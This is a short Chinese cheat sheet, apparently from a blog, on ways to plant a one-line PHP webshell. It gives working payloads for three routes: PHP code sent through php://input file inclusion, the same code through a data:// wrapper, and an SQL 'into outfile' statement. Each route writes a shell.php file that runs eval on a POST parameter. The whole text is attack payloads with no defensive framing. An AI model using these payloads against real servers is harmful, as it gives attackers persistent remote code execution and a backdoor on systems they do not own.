文件包含php://input后
抓包数据部分添加<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST[shell]);?>‘);?>
2.文件包含data://text/plain,数据或data://text/plain;base64,编码后数据
数据部分添加<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST[shell]);?>’);?>
3.sql写入木马
select ‘<?=@eval($_POST[shell])?>’ into outfile ‘/tmp/shell.php’
写入一句话木马姿势
最新推荐文章于 2024-05-28 14:55:00 发布